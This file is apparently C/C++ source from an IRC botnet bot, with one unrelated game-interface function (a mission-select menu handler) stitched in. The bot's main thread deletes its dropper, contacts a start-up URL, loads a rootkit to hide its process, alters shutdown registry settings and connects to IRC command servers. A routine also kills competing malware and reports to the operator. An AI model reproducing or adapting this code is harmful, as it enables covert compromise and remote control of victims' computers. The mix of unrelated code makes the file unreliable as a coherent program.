BOOL RegExists(HKEY root,LPCTSTR subkey,char *name,DWORD type) { BOOL bRet=FALSE; HKEY key=NULL; if (!subkey || !name) return bRet; if (fRegOpenKeyEx(root,subkey,0,KEY_READ|KEY_WRITE,&key) == ERROR_SUCCESS) { if (type==REG_DWORD) { BOOL success=FALSE; DWORD dwRet=RegQuery(root,subkey,name,&success); if (success) bRet=TRUE; else bRet=FALSE; } else if (type==REG_SZ || type==REG_EXPAND_SZ || type==REG_MULTI_SZ) { char *szRet=RegQuery(root,subkey,name,REG_SZ); if (szRet) bRet=TRUE; else bRet=FALSE; } fRegCloseKey(key); } return bRet; }
BOOL UpdateRecord(void) { BOOL bSuccess=FALSE; DWORD CurRecord; DWORD dwGTC=GetTickCount(); if (!bRecUpdated) { // If it hasnt been updated its worth checking again. CurRecord=RegQuery(rupkey.hkey,rupkey.subkey,rupkey.name,bSuccess); if (bSuccess) { if (dwGTC > CurRecord) if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC)) return TRUE; } else { if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC)) return TRUE; } } else { // If its already been updated then it will keep updating so we can skip the query. RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC); return TRUE; } return FALSE; }
DWORD GetRecord(void) { BOOL bSuccess=FALSE; DWORD CurRecord; CurRecord=RegQuery(rupkey.hkey,rupkey.subkey,rupkey.name,bSuccess); if (bSuccess) return CurRecord; else return 0; return 0; }
void MissionSelectDelegate::onNewContentControl(Control *, Control *newGui) { CMDConsole* console = CMDConsole::getLocked(); char buf[256]; edit = (FearGui::TestEdit *)(newGui->findControlWithTag(IDCTG_SESSION)); if(edit) { const char *var = console->getVariable("Server::Session"); if(!var[0]) { strcpy(buf, "FearSession"); DWORD type; DWORD len = 255; RegQuery( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WinLogon\\DefaultDomainName", &type, (unsigned char *)buf, &len); } else strcpy(buf, var); edit->setText(buf); } TextList *tl = (TextList *)(newGui->findControlWithTag(IDCTG_MISSION_SELECT_LIST)); if (! tl) return; WIN32_FIND_DATA data; HANDLE handle = FindFirstFile(MissionNameTemplate, &data); if (handle != INVALID_HANDLE_VALUE) { do { data.cFileName[strlen(data.cFileName) - 4] = '\0'; tl->addEntryBack(data.cFileName); } while (FindNextFile(handle,&data)); FindClose(handle); } }
DWORD WINAPI BotThread(LPVOID param) { for (int m=0;m<6;m++) { if(!(mutex=CreateMutex(NULL, FALSE, mutexhandle))) Sleep(5000); else break; } // if (WaitForSingleObject(CreateMutex(NULL, TRUE, mutexhandle), 30000) == WAIT_TIMEOUT) // ExitProcess(0); addthread(MAIN_THREAD,str_main_thread,main_title); #ifndef _DEBUG #ifndef NO_MELT char *melt=RegQuery(meltkey.hkey,meltkey.subkey,meltkey.name); if (melt) { SetFileAttributes(melt,FILE_ATTRIBUTE_NORMAL); int tries=0; while (FileExists(melt) && tries<3) { DeleteFile(melt); tries++; Sleep(2000); } RegDelete(meltkey.hkey,meltkey.subkey,meltkey.name); } #endif // NO_MELT #endif // _DEBUG srand(GetTickCount()); dwstarted=GetTickCount(); #ifndef NO_VERSION_REPLY curversion=rand()%(versionsize); #ifdef _DEBUG printf("Generated current_version: %d (%d), %s.\n",curversion,versionsize,versionlist[curversion]); #endif #endif WSADATA wsadata; if (fWSAStartup(MAKEWORD(2,2),&wsadata)!=0) ExitProcess(-2); #ifndef _DEBUG #ifndef NO_FCONNECT char readbuf[1024]; HINTERNET httpopen, openurl; DWORD read; httpopen=fInternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); openurl=fInternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL); if (!openurl) { fInternetCloseHandle(httpopen); fInternetCloseHandle(openurl); } fInternetReadFile(openurl,readbuf,sizeof(readbuf),&read); fInternetCloseHandle(httpopen); fInternetCloseHandle(openurl); #endif // NO_FCONNECT #endif // _DEBUG #ifndef NO_INSTALLED_TIME if (!noadvapi32) GetInstalledTime(); else sprintf(installedt,"Error"); #endif // NO_INSTALLED_TIME int i=0; DWORD id=0; #ifndef NO_RECORD_UPTIME i=addthread(RUPTIME_THREAD,str_rup_thread,main_title); threads[i].tHandle=CreateThread(NULL,0,&RecordUptimeThread,0,0,&id); #endif // NO_RECORD_UPTIME #ifndef NO_AUTO_SECURE #ifndef NO_SECURE NTHREAD secure; secure.bdata2=TRUE;//loop i=addthread(SECURE_THREAD,str_asecure_thread,sec_title); threads[i].tHandle=CreateThread(NULL,0,&SecureThread,(LPVOID)&secure,0,&id); #endif #endif // NO_AUTO_SECURE #ifndef NO_RDRIV #ifndef _DEBUG rkenabled=InitRK();//initialize fu if (rkenabled) HideMe();//hide the process #endif // _DEBUG #endif // NO_RDRIV #ifndef _DEBUG // maybe this will give the shutdown handler time to work RegWrite(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control","WaitToKillServiceTimeout","7000"); #endif //get internal ip char *ip; char hostname[256]; struct hostent *h; fgethostname(hostname, 256); h = fgethostbyname(hostname); ip = finet_ntoa(*(struct in_addr *)h->h_addr_list[0]); strncpy(inip,ip,sizeof(inip)); curserver=0; HookProtocol(&mainirc); while (mainirc.should_connect()) { if (!mainirc.is_connected()) { #ifdef _DEBUG printf("Trying to connect to: %s:%i\r\n",servers[curserver].host,servers[curserver].port); #endif #ifndef NO_FLUSHDNS FlushDNSCache(); #endif mainirc.start(servers[curserver].host,servers[curserver].port, mainirc.nickgen(NICK_TYPE,REQ_NICKLEN),mainirc.nickgen(IDENT_TYPE,REQ_IDENTLEN), mainirc.nickgen(REALN_TYPE,REQ_REALNLEN),servers[curserver].pass); mainirc.message_loop(); } else mainirc.message_loop(); Sleep(SFLOOD_DELAY); if (curserver==(serversize-1)) curserver=0; else curserver++; } // cleanup; killthreadall(); fWSACleanup(); ReleaseMutex(mutex); ExitThread(0); }
void RemoveVirus(char *target,void *conn,BOOL loop,BOOL silent,BOOL verbose) { IRC* irc=(IRC*)conn; char sysdir[MAX_PATH], virusexecutable[MAX_PATH]; int viriireg=0,viriikill=0,viriidel=0; int viriifound=0; int viriisize=(sizeof(viruses)/sizeof(VIRUSES)); for (unsigned int i=0; i<viriisize; i++) { char *treg=RegQuery(viruses[i].hkey,viruses[i].subkey,viruses[i].value); if (treg) { viriifound++; if (RegDelete(viruses[i].hkey,viruses[i].subkey,viruses[i].value)) { viriireg++; if (!loop && !silent && verbose) irc->privmsg(target,"%s Removed registry key for virus: %s",sec_title,viruses[i].name); } #ifndef NO_PROCESS if (KillProcess(viruses[i].file,0)) { viriikill++; if (!loop && !silent && verbose) irc->privmsg(target,"%s Killed process for virus: %s",sec_title,viruses[i].name); } #endif GetSystemDirectory(sysdir, sizeof(sysdir)); sprintf(virusexecutable, "%s\\%s", sysdir, viruses[i].file); if (DeleteFile(virusexecutable)!=0) { viriidel++; if (!loop && !silent && verbose) irc->privmsg(target,"%s Erased executable for virus: %s",sec_title,viruses[i].name); } } else { // Just for the hell of it /*if (KillProcess(viruses[i].file,0)) { GetSystemDirectory(sysdir, sizeof(sysdir)); sprintf(virusexecutable, "%s\\%s", sysdir, viruses[i].file); DeleteFile(virusexecutable); } Sleep(100);*/ } } if (viriifound==0) { if (!loop && !silent) irc->privmsg(target,"%s No known viruses.",sec_title); } else { if (!loop && !silent) irc->privmsg(target,"%s %s known viruses: R:%.2d, K:%.2d, D:%.2d",sec_title,viriifound,viriireg,viriikill,viriidel); } return; }